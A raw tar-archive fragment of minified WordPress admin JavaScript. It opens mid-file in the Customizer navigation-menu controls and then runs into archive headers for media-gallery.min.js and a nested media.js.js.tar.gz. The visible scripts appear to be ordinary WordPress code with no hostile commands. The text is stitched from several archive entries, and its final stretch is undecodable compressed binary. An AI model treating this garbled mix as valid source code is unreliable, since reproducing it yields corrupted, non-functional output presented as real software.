c.Control(t,{section:e.id,priority:1,templateId:"nav-menu-submit-new-button"}),c.control.add(t,n),n.active.set(!0))},submit:function(){var t,e=this.contentContainer,n=e.find(".menu-name-field").first(),i=n.val();i?(t=c.Menus.createNavMenu(i),n.val(""),n.removeClass("invalid"),e.find(".assigned-menu-location input[type=checkbox]").each(function(){var e=m(this);e.prop("checked")&&(c("nav_menu_locations["+e.data("location-id")+"]").set(t.params.menu_id),e.prop("checked",!1))}),l.a11y.speak(c.Menus.data.l10n.menuAdded),t.focus({completeCallback:function(){t.highlightNewItemButton()}})):(n.addClass("invalid"),n.focus())},selectDefaultLocation:function(e){var t=c.control(this.id+"[locations]"),n={};null!==e&&(n[e]=!0),t.setSelections(n)}}),c.Menus.MenuLocationControl=c.Control.extend({initialize:function(e,t){var n=e.match(/^nav_menu_locations\[(.+?)]/);this.themeLocation=n[1],c.Control.prototype.initialize.call(this,e,t)},ready:function(){var n=this,i=/^nav_menu\[(-?\d+)]/;n.setting.validate=function(e){return""===e?0:parseInt(e,10)},n.container.find(".create-menu").on("click",function(){var e=c.section("add_menu");e.selectDefaultLocation(this.dataset.locationId),e.focus()}),n.container.find(".edit-menu").on("click",function(){var e=n.setting();c.section("nav_menu["+e+"]").focus()}),n.setting.bind("change",function(){var e=0!==n.setting();n.container.find(".create-menu").toggleClass("hidden",e),n.container.find(".edit-menu").toggleClass("hidden",!e)}),c.bind("add",function(e){var t=e.id.match(i);t&&!1!==e()&&(t=t[1],e=new Option(u(e().name),t),n.container.find("select").append(e))}),c.bind("remove",function(e){var e=e.id.match(i);e&&(e=parseInt(e[1],10),n.setting()===e&&n.setting.set(""),n.container.find("option[value="+e+"]").remove())}),c.bind("change",function(e){var t=e.id.match(i);t&&(t=parseInt(t[1],10),!1===e()?(n.setting()===t&&n.setting.set(""),n.container.find("option[value="+t+"]").remove()):n.container.find("option[value="+t+"]").text(u(e().name)))})}}),c.Menus.MenuItemControl=c.Control.extend({initialize:function(e,t){var n=this;n.expanded=new c.Value(!1),n.expandedArgumentsQueue=[],n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=m.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),c.Control.prototype.initialize.call(n,e,t),n.active.validate=function(){var e=c.section(n.section()),e=!!e&&e.active();return e}},embed:function(){var e=this.section();e&&((e=c.section(e))&&e.expanded()||c.settings.autofocus.control===this.id)&&this.actuallyEmbed()},actuallyEmbed:function(){"resolved"!==this.deferred.embedded.state()&&(this.renderContent(),this.deferred.embedded.resolve())},ready:function(){if(void 0===this.params.menu_item_id)throw new Error("params.menu_item_id was not defined");this._setupControlToggle(),this._setupReorderUI(),this._setupUpdateUI(),this._setupRemoveUI(),this._setupLinksUI(),this._setupTitleUI()},_setupControlToggle:function(){var i=this;this.container.find(".menu-item-handle").on("click",function(e){e.preventDefault(),e.stopPropagation();var t=i.getMenuControl(),n=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||n||e||c.Menus.availableMenuItemsPanel.close(),t.isReordering||t.isSorting||i.toggleForm()})},_setupReorderUI:function(){var o=this,e=l.template("menu-item-reorder-nav");o.container.find(".item-controls").after(e),o.container.find(".menu-item-reorder-nav").find(".menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right").on("click",function(){var e=m(this),t=(e.focus(),e.is(".menus-move-up")),n=e.is(".menus-move-down"),i=e.is(".menus-move-left"),a=e.is(".menus-move-right");t?o.moveUp():n?o.moveDown():i?o.moveLeft():a&&o.moveRight(),e.focus()})},_setupUpdateUI:function(){var e,s=this,t=s.setting();s.elements={},s.elements.url=new c.Element(s.container.find(".edit-menu-item-url")),s.elements.title=new c.Element(s.container.find(".edit-menu-item-title")),s.elements.attr_title=new c.Element(s.container.find(".edit-menu-item-attr-title")),s.elements.target=new c.Element(s.container.find(".edit-menu-item-target")),s.elements.classes=new c.Element(s.container.find(".edit-menu-item-classes")),s.elements.xfn=new c.Element(s.container.find(".edit-menu-item-xfn")),s.elements.description=new c.Element(s.container.find(".edit-menu-item-description")),_.each(s.elements,function(n,i){n.bind(function(e){n.element.is("input[type=checkbox]")&&(e=e?n.element.val():"");var t=s.setting();t&&t[i]!==e&&((t=_.clone(t))[i]=e,s.setting.set(t))}),t&&("classes"!==i&&"xfn"!==i||!_.isArray(t[i])?n.set(t[i]):n.set(t[i].join(" ")))}),s.setting.bind(function(n,i){var e,t=s.params.menu_item_id,a=[],o=[];!1===n?(e=c.control("nav_menu["+String(i.nav_menu_term_id)+"]"),s.container.remove(),_.each(e.getMenuItemControls(),function(e){i.menu_item_parent===e.setting().menu_item_parent&&e.setting().position>i.position?a.push(e):e.setting().menu_item_parent===t&&o.push(e)}),_.each(a,function(e){var t=_.clone(e.setting());t.position+=o.length,e.setting.set(t)}),_.each(o,function(e,t){var n=_.clone(e.setting());n.position=i.position+t,n.menu_item_parent=i.menu_item_parent,e.setting.set(n)}),e.debouncedReflowMenuItems()):(_.each(n,function(e,t){s.elements[t]&&s.elements[t].set(n[t])}),s.container.find(".menu-item-data-parent-id").val(n.menu_item_parent),n.position===i.position&&n.menu_item_parent===i.menu_item_parent||s.getMenuControl().debouncedReflowMenuItems())}),s.setting.notifications.bind("add",e=function(){s.elements.url.element.toggleClass("invalid",s.setting.notifications.has("invalid_url"))}),s.setting.notifications.bind("removed",e)},_setupRemoveUI:function(){var r=this;r.container.find(".item-delete").on("click",function(){var e,t,n,i=!0,a=0,o=r.params.original_item_id,s=r.getMenuControl().$sectionContent.find(".menu-item");m("body").hasClass("adding-menu-items")||(i=!1),n=r.container.nextAll(".customize-control-nav_menu_item:visible").first(),t=r.container.prevAll(".customize-control-nav_menu_item:visible").first(),e=(n.length?n.find(!1===i?".item-edit":".item-delete"):t.length?t.find(!1===i?".item-edit":".item-delete"):r.container.nextAll(".customize-control-nav_menu").find(".add-new-menu-item")).first(),_.each(s,function(e){m(e).is(":visible")&&(e=e.getAttribute("id").match(/^customize-control-nav_menu_item-(-?\d+)$/,""))&&(e=parseInt(e[1],10),e=c.control("nav_menu_item["+String(e)+"]"))&&o==e.params.original_item_id&&a++}),a<=1&&((n=m("#menu-item-tpl-"+r.params.original_item_id)).removeClass("selected"),n.find(".menu-item-handle").removeClass("item-added")),r.container.slideUp(function(){r.setting.set(!1),l.a11y.speak(c.Menus.data.l10n.itemDeleted),e.focus()}),r.setting.set(!1)})},_setupLinksUI:function(){this.container.find("a.original-link").on("click",function(e){e.preventDefault(),c.previewer.previewUrl(e.target.toString())})},_setupTitleUI:function(){var i;this.container.find(".edit-menu-item-title").on("blur",function(){m(this).val(m(this).val().trim())}),i=this.container.find(".menu-item-title"),this.setting.bind(function(e){var t,n;e&&(e.title=e.title||"",n=(t=e.title.trim())||e.original_title||c.Menus.data.l10n.untitled,e._invalid&&(n=c.Menus.data.l10n.invalidTitleTpl.replace("%s",n)),t||e.original_title?i.text(n).removeClass("no-title"):i.text(n).addClass("no-title"))})},getDepth:function(){var e=this,t=e.setting(),n=0;if(!t)return 0;for(;t&&t.menu_item_parent&&(n+=1,e=c.control("nav_menu_item["+t.menu_item_parent+"]"));)t=e.setting();return n},renderContent:function(){var e,t=this,n=t.setting();t.params.title=n.title||"",t.params.depth=t.getDepth(),t.container.data("item-depth",t.params.depth),e=["menu-item","menu-item-depth-"+String(t.params.depth),"menu-item-"+n.object,"menu-item-edit-inactive"],n._invalid?(e.push("menu-item-invalid"),t.params.title=c.Menus.data.l10n.invalidTitleTpl.replace("%s",t.params.title)):"draft"===n.status&&(e.push("pending"),t.params.title=c.Menus.data.pendingTitleTpl.replace("%s",t.params.title)),t.params.el_classes=e.join(" "),t.params.item_type_label=n.type_label,t.params.item_type=n.type,t.params.url=n.url,t.params.target=n.target,t.params.attr_title=n.attr_title,t.params.classes=_.isArray(n.classes)?n.classes.join(" "):n.classes,t.params.xfn=n.xfn,t.params.description=n.description,t.params.parent=n.menu_item_parent,t.params.original_title=n.original_title||"",t.container.addClass(t.params.el_classes),c.Control.prototype.renderContent.call(t)},getMenuControl:function(){var e=this.setting();return e&&e.nav_menu_term_id?c.control("nav_menu["+e.nav_menu_term_id+"]"):null},expandControlSection:function(){var e=this.container.closest(".accordion-section");e.hasClass("open")||e.find(".accordion-section-title:first").trigger("click")},_toggleExpanded:c.Section.prototype._toggleExpanded,expand:c.Section.prototype.expand,expandForm:function(e){this.expand(e)},collapse:c.Section.prototype.collapse,collapseForm:function(e){this.collapse(e)},toggleForm:function(e,t){(e=void 0===e?!this.expanded():e)?this.expand(t):this.collapse(t)},onChangeExpanded:function(e,t){var n,i=this,a=this.container,o=a.find(".menu-item-settings:first");void 0===e&&(e=!o.is(":visible")),o.is(":visible")===e?t&&t.completeCallback&&t.completeCallback():e?(c.control.each(function(e){i.params.type===e.params.type&&i!==e&&e.collapseForm()}),n=function(){a.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active"),i.container.trigger("expanded"),t&&t.completeCallback&&t.completeCallback()},a.find(".item-edit").attr("aria-expanded","true"),o.slideDown("fast",n),i.container.trigger("expand")):(n=function(){a.addClass("menu-item-edit-inactive").removeClass("menu-item-edit-active"),i.container.trigger("collapsed"),t&&t.completeCallback&&t.completeCallback()},i.container.trigger("collapse"),a.find(".item-edit").attr("aria-expanded","false"),o.slideUp("fast",n))},focus:function(e){var t=this,n=(e=e||{}).completeCallback,i=function(){t.expandControlSection(),e.completeCallback=function(){t.container.find(".menu-item-settings").find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first().focus(),n&&n()},t.expandForm(e)};c.section.has(t.section())?c.section(t.section()).expand({completeCallback:i}):i()},moveUp:function(){this._changePosition(-1),l.a11y.speak(c.Menus.data.l10n.movedUp)},moveDown:function(){this._changePosition(1),l.a11y.speak(c.Menus.data.l10n.movedDown)},moveLeft:function(){this._changeDepth(-1),l.a11y.speak(c.Menus.data.l10n.movedLeft)},moveRight:function(){this._changeDepth(1),l.a11y.speak(c.Menus.data.l10n.movedRight)},_changePosition:function(e){var t,n=this,i=_.clone(n.setting()),a=[];if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");if(n.setting()){if(_(n.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===i.menu_item_parent&&a.push(e.setting)}),a.sort(function(e,t){return e().position-t().position}),-1===(t=_.indexOf(a,n.setting)))throw new Error("Expected setting to be among siblings.");0===t&&e<0||t===a.length-1&&0<e||((t=a[t+e])&&t.set(m.extend(_.clone(t()),{position:i.position})),i.position+=e,n.setting.set(i))}},_changeDepth:function(e){if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");var t,n,i=this,a=_.clone(i.setting()),o=[];if(_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&o.push(e)}),o.sort(function(e,t){return e.setting().position-t.setting().position}),-1===(t=_.indexOf(o,i)))throw new Error("Expected control to be among siblings.");-1===e?a.menu_item_parent&&(n=c.control("nav_menu_item["+a.menu_item_parent+"]"),_(o).chain().slice(t).each(function(e,t){e.setting.set(m.extend({},e.setting(),{menu_item_parent:i.params.menu_item_id,position:t}))}),_(i.getMenuControl().getMenuItemControls()).each(function(e){var t;e.setting().menu_item_parent===n.setting().menu_item_parent&&e.setting().position>n.setting().position&&(t=_.clone(e.setting()),e.setting.set(m.extend(t,{position:t.position+1})))}),a.position=n.setting().position+1,a.menu_item_parent=n.setting().menu_item_parent,i.setting.set(a)):1===e&&0!==t&&(a.menu_item_parent=o[t-1].params.menu_item_id,a.position=0,_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&(a.position=Math.max(a.position,e.setting().position))}),a.position+=1,i.setting.set(a))}}),c.Menus.MenuNameControl=c.Control.extend({ready:function(){var e,n=this;n.setting&&(e=n.setting(),n.nameElement=new c.Element(n.container.find(".menu-name-field")),n.nameElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).name=e,n.setting.set(t))}),e&&n.nameElement.set(e.name),n.setting.bind(function(e){e&&n.nameElement.set(e.name)}))}}),c.Menus.MenuLocationsControl=c.Control.extend({ready:function(){var d=this;d.container.find(".assigned-menu-location").each(function(){function t(e){var t=c("nav_menu["+String(e)+"]");e&&t&&t()?n.find(".theme-location-set").show().find("span").text(u(t().name)):n.find(".theme-location-set").hide()}var n=m(this),e=n.find("input[type=checkbox]"),i=new c.Element(e),a=c("nav_menu_locations["+e.data("location-id")+"]"),o=""===d.params.menu_id,s=o?_.noop:function(e){i.set(e)},r=o?_.noop:function(e){a.set(e?d.params.menu_id:0)};s(a.get()===d.params.menu_id),e.on("change",function(){r(this.checked)}),a.bind(function(e){s(e===d.params.menu_id),t(e)}),t(a.get())})},setSelections:function(i){this.container.find(".menu-location").each(function(e,t){var n=t.dataset.locationId;t.checked=n in i&&i[n]})}}),c.Menus.MenuAutoAddControl=c.Control.extend({ready:function(){var n=this,e=n.setting();n.active.validate=function(){var e=c.section(n.section()),e=!!e&&e.active();return e},n.autoAddElement=new c.Element(n.container.find("input[type=checkbox].auto_add")),n.autoAddElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).auto_add=e,n.setting.set(t))}),e&&n.autoAddElement.set(e.auto_add),n.setting.bind(function(e){e&&n.autoAddElement.set(e.auto_add)})}}),c.Menus.MenuControl=c.Control.extend({ready:function(){var t,n,i=this,a=c.section(i.section()),o=i.params.menu_id,e=i.setting();if(void 0===this.params.menu_id)throw new Error("params.menu_id was not defined");i.active.validate=function(){var e=!!a&&a.active();return e},i.$controlSection=a.headContainer,i.$sectionContent=i.container.closest(".accordion-section-content"),this._setupModel(),c.section(i.section(),function(e){e.deferred.initSortables.done(function(e){i._setupSortable(e)})}),this._setupAddition(),this._setupTitle(),e&&(t=u(e.name),c.control.each(function(e){e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(e.container.find(".nav-menu-widget-form-controls:first").show(),e.container.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.container.find("select")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o))}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").show(),e.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.find(".widget-inside select:first")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o)),_.defer(function(){i.updateInvitationVisibility()})},_setupModel:function(){var n=this,i=n.params.menu_id;n.setting.bind(function(e){var t;!1===e?n._handleDeletion():(t=u(e.name),c.control.each(function(e){e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&e.container.find("select").find("option[value="+String(i)+"]").text(t)}))})},_setupSortable:function(e){var a=this;if(!e.is(a.$sectionContent))throw new Error("Unexpected menuList.");e.on("sortstart",function(){a.isSorting=!0}),e.on("sortstop",function(){setTimeout(function(){var e=a.$sectionContent.sortable("toArray"),t=[],n=0,i=10;a.isSorting=!1,a.$sectionContent.scrollLeft(0),_.each(e,function(e){var e=e.match(/^customize-control-nav_menu_item-(-?\d+)$/,"");e&&(e=parseInt(e[1],10),e=c.control("nav_menu_item["+String(e)+"]"))&&t.push(e)}),_.each(t,function(e){var t;!1!==e.setting()&&(t=_.clone(e.setting()),n+=1,i+=1,t.position=n,e.priority(i),t.menu_item_parent=parseInt(e.container.find(".menu-item-data-parent-id").val(),10),t.menu_item_parent||(t.menu_item_parent=0),e.setting.set(t))})})}),a.isReordering=!1,this.container.find(".reorder-toggle").on("click",function(){a.toggleReordering(!a.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-menu-item").on("click",function(e){t.$sectionContent.hasClass("reordering")||(m("body").hasClass("adding-menu-items")?(m(this).attr("aria-expanded","false"),c.Menus.availableMenuItemsPanel.close(),e.stopPropagation()):(m(this).attr("aria-expanded","true"),c.Menus.availableMenuItemsPanel.open(t)))})},_handleDeletion:function(){var e,n=this.params.menu_id,i=0,t=c.section(this.section()),a=function(){t.container.remove(),c.section.remove(t.id)};t&&t.expanded()?t.collapse({completeCallback:function(){a(),l.a11y.speak(c.Menus.data.l10n.menuDeleted),c.panel("nav_menus").focus()}}):a(),c.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(i+=1)}),c.control.each(function(e){var t;e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&((t=e.container.find("select")).val()===String(n)&&t.prop("selectedIndex",0).trigger("change"),e.container.find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.container.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.container.find("option[value="+String(n)+"]").remove())}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.find("option[value="+String(n)+"]").remove()},_setupTitle:function(){var d=this;d.setting.bind(function(e){var t,n,i,a,o,s,r;e&&(t=c.section(d.section()),n=d.params.menu_id,i=t.headContainer.find(".accordion-section-title"),a=t.contentContainer.find(".customize-section-title h3"),o=t.headContainer.find(".menu-in-location"),s=a.find(".customize-action"),r=u(e.name),i.text(r),o.length&&o.appendTo(i),a.text(r),s.length&&s.prependTo(a),c.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+n+"]").text(r)}),t.contentContainer.find(".customize-control-checkbox input").each(function(){m(this).prop("checked")&&m(".current-menu-location-name-"+m(this).data("location-id")).text(r)}))})},toggleReordering:function(e){var t=this.container.find(".add-new-menu-item"),n=this.container.find(".reorder-toggle"),i=this.$sectionContent.find(".item-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),this.$sectionContent.sortable(this.isReordering?"disable":"enable"),this.isReordering?(t.attr({tabindex:"-1","aria-hidden":"true"}),n.attr("aria-label",c.Menus.data.l10n.reorderLabelOff),l.a11y.speak(c.Menus.data.l10n.reorderModeOn),i.attr("aria-hidden","false")):(t.removeAttr("tabindex aria-hidden"),n.attr("aria-label",c.Menus.data.l10n.reorderLabelOn),l.a11y.speak(c.Menus.data.l10n.reorderModeOff),i.attr("aria-hidden","true")),e)&&_(this.getMenuItemControls()).each(function(e){e.collapseForm()})},getMenuItemControls:function(){var t=[],n=this.params.menu_id;return c.control.each(function(e){"nav_menu_item"===e.params.type&&e.setting()&&n===e.setting().nav_menu_term_id&&t.push(e)}),t},reflowMenuItems:function(){var e=this.getMenuItemControls(),a=function(n){var t=[],i=n.currentParent;_.each(n.menuItemControls,function(e){i===e.setting().menu_item_parent&&t.push(e)}),t.sort(function(e,t){return e.setting().position-t.setting().position}),_.each(t,function(t){n.currentAbsolutePosition+=1,t.priority.set(n.currentAbsolutePosition),t.container.hasClass("menu-item-depth-"+String(n.currentDepth))||(_.each(t.container.prop("className").match(/menu-item-depth-\d+/g),function(e){t.container.removeClass(e)}),t.container.addClass("menu-item-depth-"+String(n.currentDepth))),t.container.data("item-depth",n.currentDepth),n.currentDepth+=1,n.currentParent=t.params.menu_item_id,a(n),--n.currentDepth,n.currentParent=i}),t.length&&(_(t).each(function(e){e.container.removeClass("move-up-disabled move-down-disabled move-left-disabled move-right-disabled"),0===n.currentDepth?e.container.addClass("move-left-disabled"):10===n.currentDepth&&e.container.addClass("move-right-disabled")}),t[0].container.addClass("move-up-disabled").addClass("move-right-disabled").toggleClass("move-down-disabled",1===t.length),t[t.length-1].container.addClass("move-down-disabled").toggleClass("move-up-disabled",1===t.length))};a({menuItemControls:e,currentParent:0,currentDepth:0,currentAbsolutePosition:0}),this.updateInvitationVisibility(e),this.container.find(".reorder-toggle").toggle(1<e.length)},debouncedReflowMenuItems:_.debounce(function(){this.reflowMenuItems.apply(this,arguments)},0),addItemToMenu:function(e){var t,n,i,a=0,o=10,s=e.id||"";return _.each(this.getMenuItemControls(),function(e){!1!==e.setting()&&(o=Math.max(o,e.priority()),0===e.setting().menu_item_parent)&&(a=Math.max(a,e.setting().position))}),a+=1,o+=1,delete(e=m.extend({},c.Menus.data.defaultSettingValues.nav_menu_item,e,{nav_menu_term_id:this.params.menu_id,original_title:e.title,position:a})).id,i=c.Menus.generatePlaceholderAutoIncrementId(),t="nav_menu_item["+String(i)+"]",n={type:"nav_menu_item",transport:c.Menus.data.settingTransport,previewer:c.previewer},(n=c.create(t,t,{},n)).set(e),e=new c.controlConstructor.nav_menu_item(t,{type:"nav_menu_item",section:this.id,priority:o,settings:{default:t},menu_item_id:i,original_item_id:s}),c.control.add(e),n.preview(),this.debouncedReflowMenuItems(),l.a11y.speak(c.Menus.data.l10n.itemAdded),e},updateInvitationVisibility:function(e){e=e||this.getMenuItemControls();this.container.find(".new-menu-item-invitation").toggle(0===e.length)}}),m.extend(c.controlConstructor,{nav_menu_location:c.Menus.MenuLocationControl,nav_menu_item:c.Menus.MenuItemControl,nav_menu:c.Menus.MenuControl,nav_menu_name:c.Menus.MenuNameControl,nav_menu_locations:c.Menus.MenuLocationsControl,nav_menu_auto_add:c.Menus.MenuAutoAddControl}),m.extend(c.panelConstructor,{nav_menus:c.Menus.MenusPanel}),m.extend(c.sectionConstructor,{nav_menu:c.Menus.MenuSection,new_menu:c.Menus.NewMenuSection}),c.bind("ready",function(){c.Menus.availableMenuItemsPanel=new c.Menus.AvailableMenuItemsPanelView({collection:c.Menus.availableMenuItems}),c.bind("saved",function(e){(e.nav_menu_updates||e.nav_menu_item_updates)&&c.Menus.applySavedData(e)}),c.state("changesetStatus").bind(function(e){"publish"===e&&(c("nav_menus_created_posts")._value=[])}),c.previewer.bind("focus-nav-menu-item-control",c.Menus.focusMenuItemControl)}),c.Menus.applySavedData=function(e){var u={},r={};_(e.nav_menu_updates).each(function(n){var e,t,i,a,o,s,r,d;if("inserted"===n.status){if(!n.previous_term_id)throw new Error("Expected previous_term_id");if(!n.term_id)throw new Error("Expected term_id");if(e="nav_menu["+String(n.previous_term_id)+"]",!c.has(e))throw new Error("Expected setting to exist: "+e);if(i=c(e),!c.section.has(e))throw new Error("Expected control to exist: "+e);if(o=c.section(e),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");s=m.extend(_.clone(s),n.saved_value),u[n.previous_term_id]=n.term_id,a="nav_menu["+String(n.term_id)+"]",t=c.create(a,a,s,{type:"nav_menu",transport:c.Menus.data.settingTransport,previewer:c.previewer}),(d=o.expanded())&&o.collapse(),a=new c.Menus.MenuSection(a,{panel:"nav_menus",title:s.name,customizeAction:c.Menus.data.l10n.customizingMenus,type:"nav_menu",priority:o.priority.get(),menu_id:n.term_id}),c.section.add(a),c.control.each(function(e){var t;e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(t=(e=e.container.find("select")).find("option[value="+String(n.previous_term_id)+"]"),e.find("option[value="+String(n.term_id)+"]").prop("selected",t.prop("selected")),t.remove())}),i.callbacks.disable(),i.set(!1),i.preview(),t.preview(),i._dirty=!1,o.container.remove(),c.section.remove(e),r=0,c.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(r+=1)}),(s=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==r),s.find(".nav-menu-widget-no-menus-message:first").toggle(0===r),s.find("option[value="+String(n.previous_term_id)+"]").remove(),l.customize.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+String(n.previous_term_id)+"]").remove()}),c.each(function(e){var t=c.state("saved").get();/^nav_menu_locations\[/.test(e.id)&&e.get()===n.previous_term_id&&(e.set(n.term_id),e._dirty=!1,c.state("saved").set(t),e.preview())}),d&&a.expand()}else if("updated"===n.status){if(t="nav_menu["+String(n.term_id)+"]",!c.has(t))throw new Error("Expected setting to exist: "+t);i=c(t),_.isEqual(n.saved_value,i.get())||(o=c.state("saved").get(),i.set(n.saved_value),i._dirty=!1,c.state("saved").set(o))}}),_(e.nav_menu_item_updates).each(function(e){e.previous_post_id&&(r[e.previous_post_id]=e.post_id)}),_(e.nav_menu_item_updates).each(function(e){var t,n,i,a,o,s;if("inserted"===e.status){if(!e.previous_post_id)throw new Error("Expected previous_post_id");if(!e.post_id)throw new Error("Expected post_id");if(t="nav_menu_item["+String(e.previous_post_id)+"]",!c.has(t))throw new Error("Expected setting to exist: "+t);if(i=c(t),!c.control.has(t))throw new Error("Expected control to exist: "+t);if(o=c.control(t),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");if((s=_.clone(s)).menu_item_parent<0){if(!r[s.menu_item_parent])throw new Error("inserted ID for menu_item_parent not available");s.menu_item_parent=r[s.menu_item_parent]}u[s.nav_menu_term_id]&&(s.nav_menu_term_id=u[s.nav_menu_term_id]),n="nav_menu_item["+String(e.post_id)+"]",a=c.create(n,n,s,{type:"nav_menu_item",transport:c.Menus.data.settingTransport,previewer:c.previewer}),s=new c.controlConstructor.nav_menu_item(n,{type:"nav_menu_item",menu_id:e.post_id,section:"nav_menu["+String(s.nav_menu_term_id)+"]",priority:o.priority.get(),settings:{default:n},menu_item_id:e.post_id}),o.container.remove(),c.control.remove(t),c.control.add(s),i.callbacks.disable(),i.set(!1),i.preview(),a.preview(),i._dirty=!1,s.container.toggleClass("menu-item-edit-inactive",o.container.hasClass("menu-item-edit-inactive"))}}),_.each(e.widget_nav_menu_updates,function(e,t){t=c(t);t&&(t._value=e,t.preview())})},c.Menus.focusMenuItemControl=function(e){e=c.Menus.getMenuItemControl(e);e&&e.focus()},c.Menus.getMenuControl=function(e){return c.control("nav_menu["+e+"]")},c.Menus.getMenuItemControl=function(e){return c.control("nav_menu_item["+e+"]")}}(wp.customize,wp,jQuery);media-gallery.min.js000064400000001143150276633110010403 0ustar00/*! This file is auto-generated */
jQuery(function(o){o("body").on("click.wp-gallery",function(a){var e,t,n=o(a.target);n.hasClass("wp-set-header")?((window.dialogArguments||opener||parent||top).location.href=n.data("location"),a.preventDefault()):n.hasClass("wp-set-background")&&(n=n.data("attachment-id"),e=o('input[name="attachments['+n+'][image-size]"]:checked').val(),t=o("#_wpnonce").val()&&"",jQuery.post(ajaxurl,{action:"set-background-image",attachment_id:n,_ajax_nonce:t,size:e},function(){var a=window.dialogArguments||opener||parent||top;a.tb_remove(),a.location.reload()}),a.preventDefault())})});media.js.js.tar.gz000064400000004601150276633110010005 0ustar00��Y[s�Ϋ�+P�'�w$J^;vƍ2q�m�N�����!��@$(��%+;��=��HI^7ʹ�L��	�~�<�s1T�I���FXǭ��ȒTχ�r���T�{;��L���~�K�<�gg{�G����ON>�:?;�8�8����Ӌ36�Ŝ����
��o�|�/_�����e���=e�V�K%Ք��:�܌;�r�f|!`_ɍ�iUp�(0w��3�!9��t	��/_Y�R�^%Ɉ�u��ʱ}�UQ|.l��X.U�%�?�S%!N��*aV�6<8�d�BOx��=�L�gw��
R���ٍpT�}fgz�W
����t�]��hn�?���+�:�U����%l��$�ac��_�r�-�j�,�
���dɄ��3WYG�a
�b����V#��b��笐�1��~���LD�M�-{7��b>�m�0i�+����{��t�x~�>`�����!�s�:�1Q��PA�}��<
����L�F �WF����՚]K��̯[���
b?5���� w����Y@��V���&��!a�ˎ�[e�z�ޤj�fl<�QM���':�#	/A���䂥�����/���/��HŽ���&j����P�O>�tK��p�^D�JÙ�2��T�i��+rA���B�R����Lƀ�����IT>�"8g`
%���	�׋r6�#d
h$��T�.�MY�3�e6��W�e	U���zM�һ{�@8N���uZ3��.P�Jw8b�H�^��Vo�h�S�5��E��iLu��b�B�|R��йnWP�(
�*��bNnxZ���%�e
��4��5�!"��RY��X�-�*Xh(=�%���W�:�Zf똸d�F��n�<\je�R�KW'J{|D��7�[�l�؈J�/!�@B	*�h��v�h ���<�'�v�|����g��jS��j�pg��'"y��N�h�@ʤ-,�>�&2�i����0�n�74�~l�6k��杔��_��&O��J�^��^��\e�I��"�U�fQJ��J�NKo�H�?󘸻���D&�奴�l�L����q�o�D��l���>�-��X�Ec������R*����D?����=����,�Ʈ���@7�ة}�����m�c��
�`����uL�@2B��t
�Ղe��}�#��@��iZz!l	�vj�t�����nU��(t0+�$���[���j�ɓp�,�WG�1��o8O"�J4Q�c�>Ԝ~�[�)t�M[ڎ�X=!l�xt=�܉<�\%ww���6Ό[o ��;��Yh��]K>�	gV�Oa.H�$�]��9�370𘠹6*�\{l�h*�Ag��Kq!���ʹ�9T�\B�����߾A�WE�b�����^bC�#���RW���5����=u���h�FX1l=�P���I������|~��La�M�R]��"�w�cSb���(�� UO�����I�7>To�\��G��Q=3͹B�xؑďR�ƀ�b�RԷ���9��0�-�֋�Ώ�b�۾��W,4��`�M�:&~�|�B���ea.�d�y.�ג�pv��Y��c��0�a�L�y�
xt��
����a�'}B�{˿3!6)m5�Kk��H��i"y[TD��{;9�{hD\�]J�S�Ǖ��
Ϥ>��2)}�F��[��W$t�����!�l���D1��?Y(@~�ha�h��l�C^�]O4�<c��S�-���.2��~gާ�c��Dz(͆T
�N*���Lڰ�̖$l/3��ꫣ
�}Lh�xxZ{�L��y�Ӯ�>~]P�F��������p%@�o��b�kĠSt������8�������Z���ѽD�K��5	Uk7�� ��>V���v�:�y*��s�}��
uohC�y� �����[�d�
�w|X�u{Nބn=d�V8[D��a�ZX
����h��c���-wB��L3 6�Tp�':8=�&���0/�H+T�> ��.�[z������e6�����[��y2j���
	���q|��{��l��>[>]�0rC�y�q�^�;|	p���6v�
�6!_����i�A�Al��ԗF%�2�9���`q6��H_�M(�#�9E7���@8Ԃ�
q WM��L��s0�
